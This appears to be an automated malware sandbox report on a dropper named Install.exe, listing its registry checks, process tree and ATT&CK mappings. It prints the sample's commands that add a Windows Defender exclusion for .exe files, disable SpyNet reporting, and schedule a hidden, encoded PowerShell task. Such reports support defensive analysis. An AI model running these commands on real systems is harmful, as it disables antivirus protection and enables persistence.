b3e50dd808b24e03844d3b4d1a53c0c73401ef1a338388945c401e7545a66ec7

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3350690463-3549324357-1323838019-1000\Control Panel\International\Geo\Nation	Install.exe

Executes dropped EXE 2 IoCs

pid	Process
1672	Install.exe
1956	Install.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
1684	schtasks.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
4476	powershell.EXE

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4476	powershell.EXE

Suspicious use of WriteProcessMemory 36 IoCs

description	pid	Process	procid_target
PID 3280 wrote to memory of 1672	3280	b3e50dd808b24e03844d3b4d1a53c0c73401ef1a338388945c401e7545a66ec7.exe	88
PID 3280 wrote to memory of 1672	3280	b3e50dd808b24e03844d3b4d1a53c0c73401ef1a338388945c401e7545a66ec7.exe	88
PID 3280 wrote to memory of 1672	3280	b3e50dd808b24e03844d3b4d1a53c0c73401ef1a338388945c401e7545a66ec7.exe	88
PID 1672 wrote to memory of 1956	1672	Install.exe	90
PID 1672 wrote to memory of 1956	1672	Install.exe	90
PID 1672 wrote to memory of 1956	1672	Install.exe	90
PID 1956 wrote to memory of 2684	1956	Install.exe	96
PID 1956 wrote to memory of 2684	1956	Install.exe	96
PID 1956 wrote to memory of 2684	1956	Install.exe	96
PID 1956 wrote to memory of 3924	1956	Install.exe	98
PID 1956 wrote to memory of 3924	1956	Install.exe	98
PID 1956 wrote to memory of 3924	1956	Install.exe	98
PID 2684 wrote to memory of 1168	2684	forfiles.exe	100
PID 2684 wrote to memory of 1168	2684	forfiles.exe	100
PID 2684 wrote to memory of 1168	2684	forfiles.exe	100
PID 3924 wrote to memory of 2864	3924	forfiles.exe	101
PID 3924 wrote to memory of 2864	3924	forfiles.exe	101
PID 3924 wrote to memory of 2864	3924	forfiles.exe	101
PID 1168 wrote to memory of 4212	1168	cmd.exe	102
PID 1168 wrote to memory of 4212	1168	cmd.exe	102
PID 1168 wrote to memory of 4212	1168	cmd.exe	102
PID 2864 wrote to memory of 704	2864	cmd.exe	103
PID 2864 wrote to memory of 704	2864	cmd.exe	103
PID 2864 wrote to memory of 704	2864	cmd.exe	103
PID 1168 wrote to memory of 3736	1168	cmd.exe	104
PID 1168 wrote to memory of 3736	1168	cmd.exe	104
PID 1168 wrote to memory of 3736	1168	cmd.exe	104
PID 2864 wrote to memory of 4988	2864	cmd.exe	105
PID 2864 wrote to memory of 4988	2864	cmd.exe	105
PID 2864 wrote to memory of 4988	2864	cmd.exe	105
PID 1956 wrote to memory of 1684	1956	Install.exe	107
PID 1956 wrote to memory of 1684	1956	Install.exe	107
PID 1956 wrote to memory of 1684	1956	Install.exe	107
PID 1956 wrote to memory of 3196	1956	Install.exe	110
PID 1956 wrote to memory of 3196	1956	Install.exe	110
PID 1956 wrote to memory of 3196	1956	Install.exe	110

C:\Users\Admin\AppData\Local\Temp\b3e50dd808b24e03844d3b4d1a53c0c73401ef1a338388945c401e7545a66ec7.exe
"C:\Users\Admin\AppData\Local\Temp\b3e50dd808b24e03844d3b4d1a53c0c73401ef1a338388945c401e7545a66ec7.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3280
- C:\Users\Admin\AppData\Local\Temp\7zS89F0.tmp\Install.exe
  .\Install.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1672
- - C:\Users\Admin\AppData\Local\Temp\7zS8ED2.tmp\Install.exe
    .\Install.exe /HdidY "385118" /S
    3⤵
    - Checks BIOS information in registry
    - Checks computer location settings
    - Executes dropped EXE
    - Drops file in System32 directory
    - Enumerates system info in registry
    - Suspicious use of WriteProcessMemory
    PID:1956
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2684
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1168
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        6⤵
        
        PID:4212
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        6⤵
        
        PID:3736
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3924
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2864
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        6⤵
        
        PID:704
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        6⤵
        
        PID:4988
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "gRDqhgJub" /SC once /ST 18:38:16 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
      4⤵
      Creates scheduled task(s)
      PID:1684
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /run /I /tn "gRDqhgJub"
      4⤵
      PID:3196

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4476

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Persistence

Scheduled Task/Job

Privilege Escalation

Scheduled Task/Job

Defense Evasion

Credential Access

Discovery

Query Registry

System Information Discovery